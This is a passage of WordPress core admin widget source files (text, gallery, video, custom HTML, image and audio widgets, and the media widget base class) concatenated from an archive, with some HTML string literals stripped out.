pointerElement ) { pointerElement.show(); pointerElement.find( '.close' ).trigger( 'focus' ); wp.a11y.speak( pointerElement.find( 'h3, p' ).map( function() { return $( this ).text(); } ).get().join( '\n\n' ) ); }; editor = window.tinymce.get( id ); if ( ! editor ) { throw new Error( 'Failed to initialize editor' ); } onInit = function() { // When a widget is moved in the DOM the dynamically-created TinyMCE iframe will be destroyed and has to be re-built. $( editor.getWin() ).on( 'pagehide', function() { _.defer( buildEditor ); }); // If a prior mce instance was replaced, and it was in text mode, toggle to text mode. if ( restoreTextMode ) { switchEditors.go( id, 'html' ); } // Show the pointer. $( '#' + id + '-html' ).on( 'click', function() { control.pasteHtmlPointer.hide(); // Hide the HTML pasting pointer. if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) { return; } showPointerElement( control.customHtmlWidgetPointer ); }); // Hide the pointer when switching tabs. $( '#' + id + '-tmce' ).on( 'click', function() { control.customHtmlWidgetPointer.hide(); }); // Show pointer when pasting HTML. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /<\w+.*?>/.test( content ) ) { return; } // Show the pointer after a slight delay so the user sees what they pasted. _.delay( function() { showPointerElement( control.pasteHtmlPointer ); }, 250 ); }); }; if ( editor.initialized ) { onInit(); } else { editor.on( 'init', onInit ); } control.editorFocused = false; editor.on( 'focus', function onEditorFocus() { control.editorFocused = true; }); editor.on( 'paste', function onEditorPaste() { editor.setDirty( true ); // Because pasting doesn't currently set the dirty state. triggerChangeIfDirty(); }); editor.on( 'NodeChange', function onNodeChange() { needsTextareaChangeTrigger = true; }); editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) ); editor.on( 'blur hide', function onEditorBlur() { control.editorFocused = false; triggerChangeIfDirty(); }); control.editor = editor; } buildEditor(); } }); /** * Mapping of widget ID to instances of TextWidgetControl subclasses. * * @memberOf wp.textWidgets * * @type {Object.} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '
' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and an iframe can be embedded * with TinyMCE being able to set contenteditable on it. */ renderWhenAnimationDone = function() { if ( ! widgetContainer.hasClass( 'open' ) ) { setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @memberOf wp.textWidgets * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Bypass using TinyMCE when widget is in legacy mode. if ( ! widgetForm.find( '.visual' ).val() ) { return; } fieldContainer = $( '
' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.TextWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @memberOf wp.textWidgets * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @memberOf wp.textWidgets * * @return {void} */ component.init = function init() { var $document = $( document ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. component.setupAccessibleMode(); }); }; return component; })( jQuery ); media-gallery-widget.min.js000064400000007266147102520270011674 0ustar00/*! This file is auto-generated */ !function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0 0; }, /** * Open the media select frame to edit images. * * @since 4.9.0 * @return {void} */ editMedia: function editMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); selection.gallery = new Backbone.Model( mediaFrameProps ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'manage', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, editing: true, multiple: true, state: 'gallery-edit' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } // Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update models in the widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } }, /** * Open the media select frame to chose an item. * * @since 4.9.0 * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'select', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: 'gallery' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } // Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( ':focusable:first' ).focus(); }, /** * Clear the selected attachment when it is deleted in the media select frame. * * @since 4.9.0 * @param {wp.media.models.Attachment} attachment - Attachment. * @return {void} */ handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) { var control = this; control.model.set( { ids: _.difference( control.model.get( 'ids' ), [ attachment.id ] ) } ); } } ); // Exports. component.controlConstructors.media_gallery = GalleryWidgetControl; component.modelConstructors.media_gallery = GalleryWidgetModel; })( wp.mediaWidgets ); media-video-widget.min.js000064400000005216147102520270011334 0ustar00/*! This file is auto-generated */ !function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets);custom-html-widgets.min.js000064400000012716147102520270011613 0ustar00/*! This file is auto-generated */ wp.customHtmlWidgets=function(a){"use strict";var s={idBases:["custom_html"],codeEditorSettings:{},l10n:{errorNotice:{singular:"",plural:""}}};return s.CustomHtmlWidgetControl=Backbone.View.extend({events:{},initialize:function(e){var n=this;if(!e.el)throw new Error("Missing options.el");if(!e.syncContainer)throw new Error("Missing options.syncContainer");Backbone.View.prototype.initialize.call(n,e),n.syncContainer=e.syncContainer,n.widgetIdBase=n.syncContainer.parent().find(".id_base").val(),n.widgetNumber=n.syncContainer.parent().find(".widget_number").val(),n.customizeSettingId="widget_"+n.widgetIdBase+"["+String(n.widgetNumber)+"]",n.$el.addClass("custom-html-widget-fields"),n.$el.html(wp.template("widget-custom-html-control-fields")({codeEditorDisabled:s.codeEditorSettings.disabled})),n.errorNoticeContainer=n.$el.find(".code-editor-error-container"),n.currentErrorAnnotations=[],n.saveButton=n.syncContainer.add(n.syncContainer.parent().find(".widget-control-actions")).find(".widget-control-save, #savewidget"),n.saveButton.addClass("custom-html-widget-save-button"),n.fields={title:n.$el.find(".title"),content:n.$el.find(".content")},_.each(n.fields,function(t,i){t.on("input change",function(){var e=n.syncContainer.find(".sync-input."+i);e.val()!==t.val()&&(e.val(t.val()),e.trigger("change"))}),t.val(n.syncContainer.find(".sync-input."+i).val())})},updateFields:function(){var e,t=this;t.fields.title.is(document.activeElement)||(e=t.syncContainer.find(".sync-input.title"),t.fields.title.val(e.val())),t.contentUpdateBypassed=t.fields.content.is(document.activeElement)||t.editor&&t.editor.codemirror.state.focused||0!==t.currentErrorAnnotations.length,t.contentUpdateBypassed||(e=t.syncContainer.find(".sync-input.content"),t.fields.content.val(e.val()))},updateErrorNotice:function(e){var t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1')).append(a("

",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0 .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("
"),(o=t.find(".widget-content:first")).before(d),i=new s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("
"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery);media-image-widget.js000064400000012534147102520270010527 0ustar00/** * @output wp-admin/js/widgets/media-image-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component, $ ) { 'use strict'; var ImageWidgetModel, ImageWidgetControl; /** * Image widget model. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_image * @augments wp.mediaWidgets.MediaWidgetModel */ ImageWidgetModel = component.MediaWidgetModel.extend({}); /** * Image widget control. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{ /** * View events. * * @type {object} */ events: _.extend( {}, component.MediaWidgetControl.prototype.events, { 'click .media-widget-preview.populated': 'editMedia' } ), /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput; if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-image-preview' ); previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) ); previewContainer.addClass( 'populated' ); linkInput = control.$el.find( '.link' ); if ( ! linkInput.is( document.activeElement ) ) { fieldsContainer = control.$el.find( '.media-widget-fields' ); fieldsTemplate = wp.template( 'wp-media-widget-image-fields' ); fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) ); } }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, updateCallback, defaultSync, metadata; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Needed or else none will not be selected if linkUrl is not also empty. if ( 'none' === metadata.link ) { metadata.linkUrl = ''; } // Set up the media frame. mediaFrame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata }); mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function() { var mediaProps, linkType; // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. mediaProps = mediaFrame.state().attributes.image.toJSON(); linkType = mediaProps.link; mediaProps.link = mediaProps.linkUrl; control.selectedAttachment.set( mediaProps ); control.displaySettings.set( 'link', linkType ); control.model.set( _.extend( control.mapMediaToModelProps( mediaProps ), { error: false } ) ); }; mediaFrame.state( 'image-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback ); // Disable syncing of attachment changes back to server. See . defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function rejectedSync() { return $.Deferred().rejectWith( this ).promise(); }; mediaFrame.on( 'close', function onClose() { mediaFrame.detach(); wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.open(); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return _.extend( component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ), { size: 'full', width: 0, height: 0 } ); }, /** * Get the instance props from the media selection frame. * * Prevent the image_title attribute from being initially set when adding an image from the media library. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this; return _.omit( component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ), 'image_title' ); }, /** * Map model props to preview template props. * * @return {Object} Preview template props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps, url; url = control.model.get( 'url' ); previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control ); previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : ''; previewTemplateProps.link_url = control.model.get( 'link_url' ); return previewTemplateProps; } }); // Exports. component.controlConstructors.media_image = ImageWidgetControl; component.modelConstructors.media_image = ImageWidgetModel; })( wp.mediaWidgets, jQuery ); class-wp-widget-media-audio.php000064400000014124147102661630012453 0ustar00 __( 'Displays an audio player.' ), 'mime_type' => 'audio', ) ); $this->l10n = array_merge( $this->l10n, array( 'no_media_selected' => __( 'No audio selected' ), 'add_media' => _x( 'Add Audio', 'label for button in the audio widget' ), 'replace_media' => _x( 'Replace Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ), 'edit_media' => _x( 'Edit Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ), 'missing_attachment' => sprintf( /* translators: %s: URL to media library. */ __( 'That audio file cannot be found. Check your media library and make sure it was not deleted.' ), esc_url( admin_url( 'upload.php' ) ) ), /* translators: %d: Widget count. */ 'media_library_state_multi' => _n_noop( 'Audio Widget (%d)', 'Audio Widget (%d)' ), 'media_library_state_single' => __( 'Audio Widget' ), 'unsupported_file_type' => __( 'Looks like this is not the correct kind of file. Please link to an audio file instead.' ), ) ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'preload' => array( 'type' => 'string', 'enum' => array( 'none', 'auto', 'metadata' ), 'default' => 'none', 'description' => __( 'Preload' ), ), 'loop' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Loop' ), ), ); foreach ( wp_get_audio_extensions() as $audio_extension ) { $schema[ $audio_extension ] = array( 'type' => 'string', 'default' => '', 'format' => 'uri', /* translators: %s: Audio extension. */ 'description' => sprintf( __( 'URL to the %s audio source file' ), $audio_extension ), ); } return array_merge( $schema, parent::get_instance_schema() ); } /** * Render the media on the frontend. * * @since 4.8.0 * * @param array $instance Widget instance props. */ public function render_media( $instance ) { $instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance ); $attachment = null; if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) { $attachment = get_post( $instance['attachment_id'] ); } if ( $attachment ) { $src = wp_get_attachment_url( $attachment->ID ); } else { $src = $instance['url']; } echo wp_audio_shortcode( array_merge( $instance, compact( 'src' ) ) ); } /** * Enqueue preview scripts. * * These scripts normally are enqueued just-in-time when an audio shortcode is used. * In the customizer, however, widgets can be dynamically added and rendered via * selective refresh, and so it is important to unconditionally enqueue them in * case a widget does get added. * * @since 4.8.0 */ public function enqueue_preview_scripts() { /** This filter is documented in wp-includes/media.php */ if ( 'mediaelement' === apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ) ) { wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); } } /** * Loads the required media files for the media manager and scripts for media widgets. * * @since 4.8.0 */ public function enqueue_admin_scripts() { parent::enqueue_admin_scripts(); wp_enqueue_style( 'wp-mediaelement' ); wp_enqueue_script( 'wp-mediaelement' ); $handle = 'media-audio-widget'; wp_enqueue_script( $handle ); $exported_schema = array(); foreach ( $this->get_instance_schema() as $field => $field_schema ) { $exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) ); } wp_add_inline_script( $handle, sprintf( 'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;', wp_json_encode( $this->id_base ), wp_json_encode( $exported_schema ) ) ); wp_add_inline_script( $handle, sprintf( ' wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s; wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s ); ', wp_json_encode( $this->id_base ), wp_json_encode( $this->widget_options['mime_type'] ), wp_json_encode( $this->l10n ) ) ); } /** * Render form template scripts. * * @since 4.8.0 */ public function render_control_template_scripts() { parent::render_control_template_scripts() ?> '', 'replace_media' => '', 'edit_media' => '', 'media_library_state_multi' => '', 'media_library_state_single' => '', 'missing_attachment' => '', 'no_media_selected' => '', 'add_media' => '', ); /** * Whether or not the widget has been registered yet. * * @since 4.8.1 * @var bool */ protected $registered = false; /** * The default widget description. * * @since 6.0.0 * @var string */ protected static $default_description = ''; /** * The default localized strings used by the widget. * * @since 6.0.0 * @var string[] */ protected static $l10n_defaults = array(); /** * Constructor. * * @since 4.8.0 * * @param string $id_base Base ID for the widget, lowercase and unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for * information on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() * for information on accepted arguments. Default empty array. */ public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) { $widget_opts = wp_parse_args( $widget_options, array( 'description' => self::get_default_description(), 'customize_selective_refresh' => true, 'show_instance_in_rest' => true, 'mime_type' => '', ) ); $control_opts = wp_parse_args( $control_options, array() ); $this->l10n = array_merge( self::get_l10n_defaults(), array_filter( $this->l10n ) ); parent::__construct( $id_base, $name, $widget_opts, $control_opts ); } /** * Add hooks while registering all widget instances of this widget class. * * @since 4.8.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { parent::_register_one( $number ); if ( $this->registered ) { return; } $this->registered = true; /* * Note that the widgets component in the customizer will also do * the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts(). */ add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) ); if ( $this->is_preview() ) { add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) ); } /* * Note that the widgets component in the customizer will also do * the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts(). */ add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) ); add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 ); } /** * Get schema for properties of a widget instance (item). * * @since 4.8.0 * * @see WP_REST_Controller::get_item_schema() * @see WP_REST_Controller::get_additional_fields() * @link https://core.trac.wordpress.org/ticket/35574 * * @return array Schema for properties. */ public function get_instance_schema() { $schema = array( 'attachment_id' => array( 'type' => 'integer', 'default' => 0, 'minimum' => 0, 'description' => __( 'Attachment post ID' ), 'media_prop' => 'id', ), 'url' => array( 'type' => 'string', 'default' => '', 'format' => 'uri', 'description' => __( 'URL to the media file' ), ), 'title' => array( 'type' => 'string', 'default' => '', 'sanitize_callback' => 'sanitize_text_field', 'description' => __( 'Title for the widget' ), 'should_preview_update' => false, ), ); /** * Filters the media widget instance schema to add additional properties. * * @since 4.9.0 * * @param array $schema Instance schema. * @param WP_Widget_Media $widget Widget object. */ $schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this ); return $schema; } /** * Determine if the supplied attachment is for a valid attachment post with the specified MIME type. * * @since 4.8.0 * * @param int|WP_Post $attachment Attachment post ID or object. * @param string $mime_type MIME type. * @return bool Is matching MIME type. */ public function is_attachment_with_mime_type( $attachment, $mime_type ) { if ( empty( $attachment ) ) { return false; } $attachment = get_post( $attachment ); if ( ! $attachment ) { return false; } if ( 'attachment' !== $attachment->post_type ) { return false; } return wp_attachment_is( $mime_type, $attachment ); } /** * Sanitize a token list string, such as used in HTML rel and class attributes. * * @since 4.8.0 * * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList * 